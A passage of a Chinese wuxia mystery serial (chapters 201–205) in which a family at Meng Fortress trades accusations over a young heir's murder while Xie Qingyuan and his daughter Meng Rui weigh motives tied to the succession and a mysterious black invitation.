院子中央矗立着一棵百年梧桐树,树高过房顶,树干粗壮,枝繁叶茂,在这正午时分,树冠挡住刺眼的阳光,投下的阴影遮住半个院落,带来一片清凉。
梧桐寓意吉祥、高贵,民间常有“栽桐引凤”的说法,孟子俊住在百年梧桐的院中,足见他的爹娘对他的无限期望。
而此刻,就在这棵百年梧桐的树荫之下,躺着孟子俊一动不动的尸体。
孟蕊快速扫过院中众人,除了刚进门的他们和侍立的下人,在场的还有孟繁及妻子杨氏,孟简及妻子蒋氏,孟繁的长子孟子仁,以及一名身材魁梧的持剑中年男子。
杨氏扑在孟子俊身上,哭得声嘶力竭,痛不欲生。
持剑男子横眉怒目,站在杨氏身边,正怒不可遏地指着孟简质问:
“说!是不是你杀了子俊?”
孟简一愣,随即眉头拧紧,面对杀人指控,愤怒反驳:
“杨玄松,你胡说什么?子俊是我看着长大的侄儿,我作何要杀他?”
杨玄松?孟蕊想了想,此人应该就是凌剑山庄的现任帮主。
凌剑山庄与孟家堡是姻亲,孟繁的正妻杨氏,是凌剑山庄的小姐,杨玄松的亲妹。
如此算来,孟子俊是杨玄松的外甥,怪不得杨玄松要出头,但他是从何认定孟简是凶手呢?
“除了你,孟家堡内,还有谁能使出这般力道的混元裂空掌?”
杨玄松走到孟子俊身侧,蹲下身,将孟子俊单薄的里衣拉开,露出胸前黑到发紫的掌印。
触目惊心的伤痕一出现,周遭响起压抑的惊呼抽气声。
即使是武功初学者孟蕊,也能看出孟子俊胸前的一掌,是奔着要他命去的。
“子俊!我的儿!你死得好惨啊!”
孟繁亲眼看到儿子身上的伤痕,悲从中来,怒从心起,他冲向孟简,双手拽住孟简的衣领,悲痛地逼问:
“你为什么要杀了子俊?就算为了请帖的事,你们有所龃龉,但子俊已经听你的话,停了请帖的买卖,你当真为了这点小事,要他的命?”
杨玄松站起身,拔出剑,直指孟简。
“孟简,你还有什么好说?你和子俊为了请帖起争执时,我也在场。
当时你不但推了子俊,还对他放狠话,说要是不听你的话,你要让子俊好看,然后你就杀了子俊,你真是好狠的心!”
“我说了我没有!”
孟简冲着杨玄松大喝一声,然后一把推开孟繁。
“松开!此事不是我干的!”
身形臃肿的孟繁一个没站稳,摔倒在地上,吃痛地坐起,指着孟简怒斥:
“孟简,你敢对我出手!你这个杀人凶手,是不是连我这个兄长都要一并杀了?”
“你们都给我闭嘴!”孟简面色铁青地怒吼,“一个个空口白牙,别来攀咬我!”
他的吼叫带着内力的震慑,现场骤然安静。
孟简平复下怒意,理了理被扯乱的衣领,直言正色道:
“堡内会混元裂空掌的,不止我一人,当年父亲传授武功,是一并教给我们兄弟二人,孟繁,你也会这掌法,怎么不说是你自己杀了你儿子?”
孟繁一听孟简把矛头对准自己,不顾脸面地驳斥道:
“我是学了这掌法,但我学艺不精,以我的内力,怎么可能打出这么厉害的一掌?”
“你打不出?那你儿子呢?”
孟简指向一直没有说话的孟子仁。
“子仁的武功,是他们兄弟之中最好的,父亲也教过他掌法,怎知不是他因为嫉恨,杀了他弟弟?”
孟子仁是孟繁的妾室所生,在几个兄弟中,他最年长,最高大健壮,武功修为也比两个弟弟强上许多。
听到孟简的猜疑,孟子仁打了个激灵,慌张地连连摆手否认。
“子俊是我弟弟,我怎么可能杀他?我更没有嫉恨任何人,叔父你不要为了洗脱嫌疑,血口喷人!”
“我血口喷人?明明是你的嫌疑更大!”
孟简冷嗤一声,指着孟子仁对所有人道。
“昨夜守灵,子仁和子俊在四更时一起离开,子仁他完全可以在回去的路上,趁着黑夜一掌打死子俊,然后把他挂在梧桐树上。
而我一直守在灵堂,直到天亮,在灵堂中的下人,都可以为我作证。”
“挂在梧桐树上?”
一直冷眼旁观争执的谢清源,目露惊讶,不由自主地仰起头,望向有十几米高的梧桐树。
在浓密茂盛的树叶中,要隐藏一个死人,并不是难事,但为何要把人挂在树上?
“子俊是何时死的?”谢清源问。
一直抱着孟子俊尸体哭泣的杨氏,抽泣地说:
“我不知道,我想着子俊昨夜守灵辛苦,让他上午多睡一会儿,直到午膳之前,才让人去喊他,却发现他床上被子铺着,却无人在。
下人们四处寻找,才发现我的子俊……呜呜……子俊他被人杀死,吊在了自己院子里的梧桐树上!
被从树上放下来的时候,人都凉透了!我的子俊啊!我的儿啊……”
杨氏泣不成声,再次哭倒在孟子俊身上。
孟简接着杨氏的话,冷声道:
“让堡内大夫来看过了,推测子俊应该是在天亮之前,就遭人毒手,然后趁着黑夜,被挂到了树上。
那么,四更天和子俊一起从灵堂离开的子仁,嫌疑最大!”
众人怀疑的目光,齐刷刷射向孟子仁。
杨氏抬起头来,溢满泪水的双目,怀疑地盯着孟子仁,声音嘶哑中带着切齿恨意。
“你嫉恨我的子俊是嫡出,你和你小娘,恨不得我和子俊都死了,给你们腾地方才好!”
孟子仁声音颤抖着否认,“母亲,不是我,我没有杀子俊,昨夜从灵堂出来,我就直接回了我的院子,院子里的下人都可以为我作证。”
孟简冷笑一声,“你都说是你院子里的下人了,他们当然会为你说话。”
杨玄松手中的长剑一转,指向孟子仁,厉声问:“你也会混元裂空掌?”
“会混元裂空掌的,就一定是杀人凶手吗?”
孟子仁脚步仓皇地向后退,目光在院中众人身上扫过,慌不择言道。
“那子信也会啊,还有姑丈,对,父亲说姑丈也会,你们怎么不敢说,是姑丈杀了子俊?”
第201章 无端牵连
姑丈?孟蕊一惊,说的不就是她爹谢清源?
孟子仁是在祸水东引,居然想把黑锅推到才来孟家堡的他们身上!
孟蕊不安地望向父亲,却见父亲表情淡定,嘴角噙着若隐若现的玩味笑意,孟蕊稳下心神,决定再看看情况。
孟子仁的话说完后,杨玄松最先有了反应。
他锐利的眼神,往孟子信和谢清源身上一扫,“孟子信和谢清源也会?”
孟子信瑟缩了下,刚一张开口,先虚弱地咳嗽两声。
“咳咳……我是跟着祖父学过掌法,但以我这个身子,也使不出混元裂空掌啊……”
杨玄松深深看向他,眼神中带着几分怀疑,突然将长剑收回剑鞘中,向着孟子信走近,“伸出手来!”
“什么?”孟子信目露惶恐。
面对虎视眈眈的杨玄松,他紧张地将隐在袖中的双手背后。
杨玄松皱着眉,一把抓住孟子信的右手,就在孟子信要大呼救命时,他发现杨玄松只是在用手指探他的脉象。
片刻之后,杨玄松放开了孟子信的手。
“气血不畅,体虚心重,你的身体也没有很差,倒是内力确实不济,使不出那般力道的掌法。”
杨玄松解除了对孟子信的怀疑,又问孟子仁。
“你确定谢清源会混元裂空掌?”
孟子仁缩了缩脖子,此刻有些后悔把谢清源扯进来,硬着头皮说:
“我、我听父亲说过,二十多年前,姑母和姑丈回来大闹那一场时,姑丈打了父亲一掌,就是用的混元裂空掌……”
杨玄松又看向孟繁,以眼神询问。
孟繁正被下人搀扶着,从地上站起来,他扶着腰,正龇牙咧嘴叫唤。
“哎呦,我的腰……”
然后就猝不及防地对上杨玄松凌厉的眼神,孟繁连忙点头。
“啊……是,我是和子仁他们说过,当年我挨过谢大人一掌,是混元裂空掌没错。”
杨玄松看着孟繁猥琐无用的窝囊样,眼神的轻蔑一闪即逝,他很快移开视线,落在谢清源身上。
“谢清源,你不是孟家堡中人,为何也会孟家堡的绝学混元裂空掌?”
无端被牵扯进来的谢清源,面对杨玄松猜忌的目光,抬头挺胸,阔步向前,在距离杨玄松两步之遥处停下脚步。
“杨掌门,你这话就说得不对了,我怎么就不是孟家堡的人呢?”
谢清源眉梢轻轻一挑,唇角勾起一抹张扬的弧度,眸光闪动着期待已久的得意。
“我夫人孟天,是孟家堡的大小姐,我是入赘孟家堡的姑爷,我的儿女孟姓,每年,我都来孟家堡看望岳父大人,我不是孟家堡的人,难道你这个外人是?”
孟蕊听到父亲的话,蹙了蹙眉,她怎么嗅到了一丝醋味。
再看杨玄松,整张脸像被冻住般凝固了一瞬,握剑的指节泛白,眼神中似添一抹恨意,瞪着谢清源,语气不善道:
“巧言令色,天儿就是被你的花言巧语欺骗,才把孟家堡的绝学教给你的吧?”
孟蕊眼皮跳了跳,天儿?杨玄松是在唤孟天?
他们什么关系?怎能如此亲密称呼?
“姓杨的,你嘴巴放干净点!我与我家娘子是一见倾心,情投意合,相约白首,你这老鳏夫不懂。”
谢清源不悦地睨了杨玄松一眼,继续神气地说。
“当年,我娘子以一敌百,大显神威,她需要帮手,教我一点武功,让我帮她打架,有什么问题?打赢了不就行了?”
谢清源说完,才看向旁边表情尴尬的孟繁和孟简。
他打孟繁那一掌,是二十多年前和孟天一起对抗孟剑雨的时候,顺便把来帮忙的孟繁和孟简也收拾了一顿,如今在人家面前讲这些,确实不太好。
“哈哈,不打不相识嘛,那年二弟和三弟都还小,我只是轻轻推了你们一下而已哟,没下重手,别在意哈哈。”
谢清源摸了摸鼻子,故作轻松地笑笑。
孟繁顾忌着谢清源在朝中如日中天的身份地位,陪笑了几声,“都那么多年前的事了,我早就不在意了。”
孟简木着脸,冷声道:“姐夫打二哥那一掌,姑且算是‘推一下’,但对我,你可是把我踢飞了,你还记得吗?”
“三弟果然是年轻,记性真好。”
谢清源挠了挠头,笑着打哈哈。
“那时情势逼人,我没办法,得保护我娘子呀。
而且,我真没下重手,想想你父亲当年,都被你姐打成什么样了?
你们还好没落她手里,要不然,也和你爹一样,躺床上养半年。”
想到当年孟天痛揍自己父亲的场景,孟简当即沉了脸,撇过头去,拒绝和谢清源对话。
“谢清源,你别岔开话题!”
杨玄松高声拉回众人的注意,质问谢清源。
“既然你承认,你二十年前就习得混元裂空掌,经过这么多年,你定然功力了得,说!是不是你昨夜杀了子俊?”
谢清源嘴角抽了抽,“杨掌门,你稍微动一动你脖子上面的脑子,孟子俊的死亡时间是在天亮之前,而我才来孟家堡不到一个时辰,怎么可能是我?”
杨玄松早有预料他会这样说,自信驳斥道:
“凭你的武功,和对孟家堡的熟悉程度,完全可以在昨夜潜入,杀人之后再离开。”
谢清源看傻子一样看着杨玄松,都懒得回答。
孟蕊听不下去了,这个杨玄松,已经将她爹预设成凶手,完全没有公正思考。
“杨掌门,无端污蔑朝廷命官,是要吃官司的。”
孟蕊大步走到父亲谢清源身边,对杨玄松拱了拱手。
“在下是谢大人手下账房,此次跟随谢大人巡查铺子。
前日,谢大人听说孟堡主过世时,我们都还在蓬州,在下跟随谢大人连夜赶路,直到今早才到渝州,绝不可能有时间提前来孟家堡。
杨掌门若有疑问,可派人去查谢大人的行踪,蓬州和渝州的城门守卫士兵都可以证明。”
“呵,我倒是忘了,他在朝中当大官。”
杨玄松眉眼阴鸷,齿缝间挤出嘲讽轻笑。
“他想要杀人,何用亲自动手?直接派杀手来不就行了?”
第202章 杀人动机
孟蕊面露不悦,瞧着胡搅蛮缠的杨玄松,脑中快速思考。
此人和她爹有什么仇怨?非要故意要给她爹扣黑锅!
难道和她娘有关?真是白瞎了他那副大侠长相。
“敢问杨掌门,你觉得谢大人有何动机,非要派人杀害孟三少爷?”孟蕊平静地问。
只见杨玄松表情一滞,锐利的眼神中多了两分困惑。
他直直盯着谢清源,似乎想从谢清源的脸上,看出杀孟子俊的动机。
孟蕊泰然自若地等待了片刻,目光快速扫过在场的孟家人。
刚才还争执不休的人们,此刻听到谢清源被冤是凶手,没有一个人站出来帮忙说话,他们是否一早就想好,要以此冤枉谢清源?
孟蕊见杨玄松一直未回答,知道他是想不出谢清源要杀孟子俊的动机了,又开口道:
“杨掌门,杀人总要有动机,谢大人与孟三少爷之间,往日无矛盾,近日无交集,他没有动机要对三少爷动手,请你不要冤枉无辜之人!”
“那你说,这里谁有杀子俊的动机?”杨玄松语气很冲,“谢清源不是凶手,谁是?”
“杨掌门有空冤枉谢大人,不如问问孟二夫人,她刚才不是说得很清楚吗?”
孟蕊讽刺地看向杨玄松,将话题引到杨氏身上。
“孟三少爷是孟夫人所出嫡子,继承权高于庶子,手上又管着孟家堡在渝州城的生意。
他死了,谁是能获益的人,谁就有杀人动机!比如孟夫人刚才提到的孟大少爷和孟二少爷,是不是更有机会能继承孟家堡了?
而我们谢大人能得到什么?除了平白无故地被你们冤枉,什么好处也没有,他没有任何理由杀人。”
孟蕊把话头引到了杨玄松的亲妹杨氏身上。
刚才杨氏对孟子仁母子的怀疑说得很清楚,会混元裂空掌的孟子信也有嫌疑,他们也都有杀人动机。
可是这杨玄松,一听到谢清源会混元裂空掌,就跟疯狗似的撕咬上来,完全丢了之前的冷静,仿佛认定谢清源是杀人凶手,势要让谢清源认罪一样。
“没错,我儿死了,那两个贱种受益最大!”
杨氏终于从孟子俊的尸体边站起来,转身,指着孟子仁和孟子信控诉。
“一定是他们中的某一个,不,或许是他们合起伙来,联手害死了子俊!”
杨氏走到杨玄松身边,声泪俱下地恳求杨玄松。
“兄长,我的子俊死得惨啊!这两个黑心肝的贱种,嫉妒子俊的优秀,想要争当孟家堡的继承人,你不可以放过他们!”
杨玄松被杨氏拉住衣袖,看着失去儿子痛哭流涕的亲妹妹,他终于把目光从谢清源身上挪开,顺着杨氏的手指,看向孟子仁和孟子信。
“不是我!”
孟子仁在杨玄松兄妹的眼神威压下,又向后退了好几步,往父亲孟繁身边靠。
“我绝不会做出残害兄弟这般猪狗不如之事!”
“兄长,别听他狡辩,就是他们干的!”
杨氏脸上泪痕未干,眼眶发红,目眦欲裂,失去亲子的痛苦让她此刻只想报仇。
“你帮我杀了他们!为我的子俊报仇啊!”
说着,杨氏伸手就要去拔杨玄松腰间长剑,被杨玄松按住手阻止,“妹妹冷静!此事还没有证据,不可冲动。”
孟蕊在一旁冷眼看着,觉得这杨玄松真是道貌岸然,现在知道没有证据了,刚才冤枉她爹谢清源的时候,不是很嚣张吗?
此时,谢清源悄悄对孟蕊使了个眼色,示意她跟他一起退后。
父女俩默默向后退去,带着侍卫靠近门边,将院子大舞台留给孟家人,免得等会儿打起来被波及误伤。
杨氏报仇被拦,气得推开杨玄松,赤手空拳就冲着离她最近的孟子信奔去。
孟子信吓得面无血色,拔腿就往父亲孟繁身边跑。
在杨氏追上来之前,孟子信已经躲到了孟繁身后,大喘着气求救:
“父亲,母亲伤心过度,已经疯了,我和大哥是您看着长大的,怎会杀了三弟,您快救救我们啊!”
孟繁见状,连忙让身边的护卫去拦住杨氏。
“快拦住夫人,别让她发疯伤人!”
嫡子孟子俊死了,他和杨氏一样伤心没错,但孟子仁和孟子信也是他亲儿子,他不能再让这两个儿子出事。
被护卫拦住去路的杨氏,看到孟繁护着两个庶子,过去那些年受过的气,在这一刻爆发出来。
她抬手就是一拳,把其中一个护卫打飞了出去,厉喝道:
“滚开!我今天就要给我儿报仇!谁敢拦我,都去死!”
杨氏也曾是凌剑山庄的武功高手,为了两家联姻,不得不嫁给孟繁那个窝囊废。
她这辈子唯一的指望,就是儿子孟子俊可以继承孟家堡,才不枉费她多年忍耐,看着孟繁花天酒地养女人。
现在,儿子死了,杨氏的指望没了,她再也不想忍了!
几招下来,杨氏将前来拦她的护卫全都撂倒,一步步逼近孟繁父子三人。
“玄杉,快住手!”
杨玄松喊出杨氏的闺名,及时挡在杨氏面前。
“现在一切都只是推测,没有他们杀子俊的证据,而且凶手,不一定在我们这些人之中。”
杨氏自知不是兄长杨玄松的对手,脚步顿住,逼问道:
“那凶手是谁?你告诉我啊!”
杨玄松眉头拧紧,“孟家堡占地宽广,府中护卫下人上百,还有昨日参加孟堡主葬礼而来的宾客们,所有人都可能有嫌疑。”
凌剑山庄和孟家堡是多年盟友,杨玄松不能让杨氏一时冲动,杀了孟繁的儿子,导致两家关系破裂。
孟子仁听到杨玄松将凶手范围扩大,给了自己喘息的机会,连忙帮腔:
“正是啊!这院子里的,都是至亲之人,平日在一处生活,难免有小摩擦,但谁又会为了小事,下狠手杀害三弟?定是从外边来的凶手谋财害命!”
杨氏一个眼刀甩过去,孟子仁立即闭了嘴。
孟简走了过来,也对杨玄松的话表示赞同。
“这几日堡内来往人杂,昨夜住在堡内的宾客就有数十人,不能排除外人作案的可能,还需调查之后,才能找到凶手。”
杨氏见所有人都不站在她这边,手中拳头握紧,压下怒意,冲着孟简问:
“那么多人,你说要如何查?”
孟简眉心紧皱,嘴唇紧抿,深思了好一会儿,才道:
“我认为,要立即封锁孟家堡各进出口,严查昨夜四更天之后,堡内每个人的行踪,相信会有收获。”
第203章 孟杨联姻
孟简的提议得到孟繁的支持,兄弟俩达成一致,将命令迅速传达下去:
首先,孟家堡的所有出入口封锁,在找出凶手前,所有人不得离开孟家堡;
第二,昨晚住在堡内的所有宾客,都被带去闲云堂,每人都要提供昨晚行踪;
第三,堡中的下人护卫都被盘问,需有两人互相证明昨夜行踪,才可排除嫌疑。
杨玄松和杨氏暂且同意了他们的布置,同时也提出要亲自审问孟子仁和孟子信两人。
杨玄松依然揪着谢清源不放,为了确认谢清源的行踪,派出人手去渝州城调查。
因为孟子俊突然被杀,孟家堡内严查凶手,乱成一团,人人自危。
谢清源坦荡无畏,随他查去,带着孟蕊等人,回到自己的天源阁。
此时已经过了晌午,田管家派人来送过午膳,被谢清源拒之门外,直言孟家堡的三少爷都能在堡内被人害死,谁知道孟家堡的饭菜会不会被下毒。
天源阁内,谢清源指挥着侍卫,用自己带进来的食材做饭吃。
他早就想好了可能发生的各种情况,天源阁内生活用品一应俱全,还专门带了两个会做饭的侍卫进来,为的就是这一刻。
他们带进来的食材种类不多,午膳用得简单,出门在外,只要能吃饱、吃得安全就行,不讲究太多。
用过午膳,谢清源带着孟蕊和纪华筠去堂屋说话。
“谢大人,那个杨掌门和你有什么仇啊?要那样针对你?”
纪华筠关上门,迫不及待地提问。
“你居然还对他那么客气,要是我被人污蔑至此,我直接上去抽他一嘴巴!”
谢清源看着性情大变的纪华筠,愣了愣神。
他对纪华筠的印象,还停留在京中那个温婉规矩的大家闺秀、侯门贵女上,蓦然看到纪华筠豪放不羁的一面,挺不适应。
“纪小姐,江湖有江湖的规矩,多一个朋友,总比多一个敌人好嘛。”
谢清源随意找了张椅子坐下,语重心长地对江湖新人解释。
“我们要留在孟家堡,就尽量不要和他们发生冲突,低调行事,秘密调查,等找到我的娘子和阿瑜,便找机会离开,不掺和孟家堡的麻烦事。”
“谢大人,你在朝中,可不是这种胆小逃避的做派。”纪华筠探究地盯着谢清源,“你还没回答我,到底和杨掌门有什么仇?”
谢清源心虚地移开目光,“没什么仇,你想多了。”
“不对劲。”纪华筠偏头看向孟蕊,“孟小姐,我当时站得远,那个杨掌门是不是叫孟天女侠‘天儿’了?”
孟蕊也想知道杨玄松和父亲之间的恩怨,她心中已有猜想,但关乎爹娘的私事,她不好说得太白话。
“他似乎是叫了吧?”孟蕊斟酌着说,“或许他和我娘亲有旧怨,为此迁怒于父亲?”
“不对!他叫得那么亲热,我觉得不是旧怨,是旧情还差不多。”
纪华筠乍然激动,很懂地点了点头。
“那种恶心的眼神,我每次打扮好看点出门,都有人那样盯着我瞧,我早该想到的,那个杨掌门,肯定是还惦记着孟女侠呢!”
“他敢!”
谢清源突然怒起拍桌。
“那个老鳏夫,休想来挖我的墙脚!”
纪华筠给了孟蕊一个得意的眼神,“瞧,我猜对了吧?”
孟蕊当然也猜到了,她爹娘和杨玄松之间,指定是有些说法的,但她不会像纪华筠这样大喇喇地说出来,惹得她爹生气。
然而,纪华筠对谢清源生气这件事毫不在意,也不怕得罪谢清源,她一心只想知道答案。
“谢大人,你熟练地用了挖墙脚这个词,来形容你和杨掌门之间的关系,那我是不是可以猜测,你之前是挖过杨掌门的墙脚?
而那个墙脚,就是孟天女侠,对不对?”
“纪小姐!”孟蕊扯了扯纪华筠的胳膊,阻止她继续说下去。
事关长辈的情感问题,意会即可,看破不说破。
可是离开京城的纪华筠,仿佛冲破牢笼尽情释放天性的飞鸟,说话做事都透着几分不管不顾的意味,让孟蕊有些头疼。
好在谢清源气的是杨玄松,不是说话随心的纪华筠。
他瞥了纪华筠一眼,好脾气地说:
“告诉你们也无妨,孟家堡和凌剑山庄有姻亲之约,那个姓杨的,曾是我娘子从小定下的未婚夫,后来我家娘子与我一见钟情,自然就没那姓杨的事了。
姓杨的后来也娶妻生子,但他的夫人在生第二个孩子时难产去世,留下他成了老鳏夫,没有再续娶。”
“他娶妻生子了啊。”纪华筠嫌弃地撇撇嘴,“那他装什么深情?”
谢清源听她这样说,仿佛找到了同盟,“就是,他还比我和小天先成亲,小天需要他帮忙的时候不来,事后怪我抢了他的未婚妻,真是表里不一,又当又立!”
“这么说来,孟繁和其正妻杨氏,是因为娘亲和杨玄松的婚事未成,所以这两家联姻,落到了他们身上?”孟蕊好奇地问。
谢清源点头,“孟家和杨家是祖辈交下的情分,两家联姻也是你外曾祖父那辈定下的。”
孟蕊双眼一亮,不紧不慢地说出自己的猜想。
“爹爹,我可不可以这样理解?
今日被害的孟子俊,是孟杨两家联姻所诞生的嫡子,他身上也流着凌剑山庄杨家的血脉。
之前,凌剑山庄一直支持孟繁做孟家堡堡主,为的是将来,孟繁将堡主之位,传给嫡子孟子俊。
现在孟子俊死了,杨氏怒起要杀那两个庶子,足见她和孟繁关系不好,没了儿子,她不会支持孟繁当堡主。
凌剑山庄也没有必要理由,再支持武功差劲、不得人心的孟繁。
如果孟繁因此失去凌剑山庄的助力,那么得利之人,便毫无疑问,是众人推崇当下一任堡主的孟简了。”
孟蕊睁着亮晶晶的双眸,看向父亲。
“这就是孟简的杀人动机。
他表面不在意,实则非常想要抢夺堡主之位,精心布局,害死孟子俊,昨夜更是安排孟子仁和孟子俊一同离开灵堂,好将嫌疑扣在孟子仁头上。
爹爹,您觉得,我这个推论如何?”
第204章 堡主之争
“嗯,有这种可能。”
谢清源听完女儿的分析,鼓励地点点头。
“堡主之位的归属,到现在悬而未决,孟繁和孟简兄弟之间,必有一番争抢。”
孟蕊困惑地问:“孟堡主不是突然去世,而是久病卧床,他病重后,没有将堡主之位传给任何一个儿子,这也太不符合常理了。”
孟家堡下一任堡主的人选,直到今时今日,都没有定数。
孟剑雨去世之前,孟家堡宣称下一任堡主,会在传位大典上见分晓。
孟剑雨去世之后,孟家堡却一直没有对外公布堡主之位的归属。
无论是孟繁还是孟简,都很默契地对此缄口不言,即使交好的亲友私下询问,他们的统一说辞都是要先办好父亲孟剑雨的葬礼。
谢清源派人多方探查,也没有查到孟剑雨死前有传位给任何人。
据谢清源早年安插在孟家堡的探子禀报,孟剑雨去世前一天,孟繁和孟简曾一同被叫进孟剑雨的居所。
父子三人单独谈了接近一个时辰,孟繁和孟简走出房门时,面色都十分怪异。
孟剑雨去世当晚,一切都和平常没有两样,其填房苗夫人和另一个老妾,按照大夫的吩咐,在戌时末,伺候孟剑雨喝药。
她们和往常一样,老妾端着温热的药碗,苗夫人去床榻上唤孟剑雨醒来喝药,旁边还有大夫和好几个丫鬟侍立左右。
但无论苗夫人如何叫喊拍打,床上紧闭双目的孟剑雨,就和睡着了一样,没有一点反应。
苗夫人战战兢兢地去探了他的鼻息,俨然没了气,连忙喊旁边的大夫过来。
经过大夫的检查,确认了孟剑雨已经去世。
那一晚,孟家堡内一片哭声。
儿孙们得到消息,接连跑来孟剑雨床前,跪倒痛哭。
之后,孟繁和孟简忙着治丧,没有不寻常的举动……
“我也觉得不对劲,孟家堡这么大的产业,不在老堡主在世时决定好继承人,难道等着死了看儿子们争抢吗?”
纪华筠摸着下巴,一副深思熟虑的表情。
“孟繁和孟简,一看就不可能兄友弟恭,他们指不定憋着什么坏招,咱们要特别小心!”
说着,她看向孟蕊和谢清源,期望自己的判断得到认同。
却发现这父女二人,都是一脸了然的同时,面色中又带着几分凝重。
“我刚才说的,你们早就想到了?”
纪华筠凑到孟蕊身边,好奇地问。
“你们是不是还知道什么内幕消息?知道他们在憋的坏招是什么了?”
孟蕊躲开纪华筠来扒拉她的手,“纪小姐,你已经进入孟家堡,是不是该履行承诺,告诉我们,二哥身上的黑色请帖,里面写的什么内容?”
“那个啊……”纪华筠脸色的表情骤然凝固,“时间有些久,我记不清了。”
“是记不清,还是根本就没有那份黑色请帖?”
孟蕊侧头看向纪华筠,双眸微眯。
“你为了跟来孟家堡,编造了黑色请帖的谎言,是吗?”
“我没有说谎,孟瑜真有一张黑色请帖,上面印了孟家堡印记的。”纪华筠语气肯定。
谢清源眉宇微凝,目光沉沉地看过来。
“纪小姐,依据我派人查到的消息,孟家堡对外发出的请帖,只有红色和白色,没有一张是黑色的。
如今,你已经如愿进入孟家堡,没有必要继续无中生有,不管是黑色请帖,还是你和我儿孟瑜的关系,都请你和我们说实话。”
纪华筠望向郑重其事的谢清源,又看看定定注视她的孟蕊,无所谓地耸了耸肩。
“我之前说的就是实话,你不相信,我也没办法。”
谢清源对着这个无赖的纪华筠,有点上火,“请帖的事暂且不提,孟瑜是我儿子,他品行端正,不近女色,你却说他和你私定终身,还对你始乱终弃,我不相信。”
“他就是对我私定终身、始乱终弃了呀!”
纪华筠顶着谢清源压迫的视线,理直气壮道。
“我在相州救了他,他为了报答我,加入了我的黑衣帮,成为我的手下。
按照我们黑衣帮的规矩,入帮后就要一辈子听帮主我的,这不是定了他的终身?”
纪华筠越说,越觉得自己有道理,站起身,气势汹汹地向着谢清源走近。
“昨日,孟瑜他抢了我的请帖不说,之后还趁我不备,点了我的穴道,抢了孟蕊的银子,弃我而去,这不也是始乱终弃?”
纪华筠叉着腰,站在谢清源面前,咄咄逼人地瞪着他。
“谢大人,你的好儿子,做的这些错事,实在可恶,我身为黑衣帮帮主,要对手下负责,当然要追来孟家堡,及时把他带回,让他重归正道!”
她一边正义凛然地说着,一边举起握拳的右手,放在胸前,唬得谢清源一愣。
“黑衣帮?是什么?”谢清源求助地望向孟蕊。
作为皇商,谢清源的耳目遍布大江南北,对江湖上的大事小情,几乎都有所耳闻,很少有他不知道的事。
孟蕊叹气,“是纪小姐离开京城后创立的江湖帮派,纪小姐自封为帮主,她的手下是二哥和碧莲。”
“具体来说,是在相州时创立的,今天刚好是我们黑衣帮成立的第十七天。”纪华筠扬起下巴,自豪地说。
谢清源顿觉满脑门子黑线,十七天前成立的只有三个人的小帮派,怪不得他不知道。
这个纪华筠,她在骄傲什么呀?
永宁侯两口子,看着挺正常的,他们生的这个女儿,怎么感觉脑子多少有点问题?
“你说得不对,那算什么始乱终弃?纪小姐,请注意你的用词。”
谢清源缓了口气,严肃纠正。
纪华筠不以为意地冷哼一声,“我想怎么说就怎么说,你少和我爹一样教训我。”
谢清源被噎了一句,更加觉得这女娃脑子不太好,放缓了语气问:
“那黑色请帖,是真实存在的吗?”
“都说了是真的,我亲眼见过那张黑色请帖!”
纪华筠被他两次三番的质疑,问得有些不耐烦。
“当时,我正要把孟瑜换下的脏衣服拿去扔掉,那张黑色请帖突然掉了下来,我刚打开看一眼,就被孟瑜抢走,扔进了火中烧没了。
请帖上面是红色的字迹,但似乎浸过水,晕染得看不清,只有最后落款,能勉强认出‘剑雨’二字。”
第205章 所谓同类
“剑雨……孟剑雨?”
谢清源和孟蕊不约而同地蹙起眉,又默契地保持沉默。
纪华筠看到他们父女俩几乎一致的表情,皱起眉,努力思索了一会儿,还是毫无头绪。
“你们想到什么了?快和我也说说啊!”纪华筠干着急。
孟蕊对她淡淡一笑,“没什么,只是想到二哥的请帖原是这样没的,有点惊讶罢了。”
“孟剑雨是才去世的堡主名讳,他给孟瑜发请帖,有什么奇怪吗?”纪华筠追问。
常理来说,请帖用主人的名义发出,没什么问题,但纪华筠敏锐地察觉到,谢清源和孟蕊听到剑雨落款时,有明显的表情变化,他们肯定有事瞒着她。
“说到阿瑜,他既是买了请帖进入孟家堡,应该会隐藏身份,潜伏在堡内的宾客中。”
谢清源没有回答纪华筠的问题,而是换了话题,询问孟蕊的意见。
“要不咱们饭后活动活动,去宾客聚集的闲云堂找阿瑜?”
孟蕊站起身,随时准备走,“如此甚好,把二哥带回来,万一他身份被发现,咱们也能护住他。”
“那我也要去。”
纪华筠跟着就要一起走,却被谢清源阻止。
“纪小姐,孟家堡内已经出了人命,为了你的安全,请你待在天源阁内,不要四处走动。”
有些事,不方便告知纪华筠,但孟家堡内存在危险,是肯定的。
谢清源既然带了纪华筠来此,就必须安全地把她再带回去。
无论如何,纪华筠是永宁侯府嫡女,不能让她出意外,更不能让她损了名节,回京后被家族苛责。
纪华筠不悦地瞪向谢清源,“我会武功,可以自保,不用你们操心,再说,我来这里,就是要找孟瑜的,凭什么不让我去?”
谢清源面色沉凝地叹了口气,有些心累看着纪华筠,像是在看一个不听话的孩子。
他与永宁侯关系不错,算得上是纪华筠的长辈,说话时的语气不自觉带上几分告诫。
“纪小姐,你和阿瑜之间的纠葛,我已经清楚了,等找到阿瑜,我会让他和你说清楚,请你自重名节,不要再对外说些引人误解的话。”
纪华筠眉心紧了紧,心中的不悦逐渐升腾、扩大。
谢清源这话什么意思?让孟瑜和她说清楚?
说什么?划清界限吗?
还让她自重名节?真是和她娘一样烦人!
她就是不想听到任何训诫她的话,才毅然决然离开京城的。
“谢大人,我的名节要怎样,都是我自己的事,与你无关,用不着你来管。”
纪华筠不顾形象地冲着谢清源,翻了个大大的白眼。
“不但我不会听你的,孟瑜也不会听你的。
他不就是不愿意接受你对他的调职安排,才从军中卸职逃跑的吗?你该好好反思一下你自己!”
对儿子孟瑜的愧疚,本就是谢清源心中难以言说的痛,现在被纪华筠如此直白的言语攻击,谢清源只觉原本心上的伤疤被再次揭开,一时间心中酸楚难耐。
而纪华筠,还在激愤地斥责谢清源的过错。
“过去十几年,你没管过孟瑜,无痛当爹,当真以为自己能随意控制孟瑜的人生了?你凭什么要他都听你的?
你现在去找孟瑜,找到之后,要怎么做?把他带回来?他愿意跟你走吗?
他既然费尽辛苦来到孟家堡,一定有他的理由,或是有一定要完成的事,你去打扰他,去坏他的事,他只会更不想见到你!”
“我……”谢清源张了张嘴,喉咙干涩,心如刀割,一句话都说不出来。
他想到妻子和他说过,孟瑜恨他,不想见到他。
他不是不相信,只是想要当面见到孟瑜,正式向孟瑜解释他当年的迫不得已,并郑重道歉,争取孟瑜的原谅。
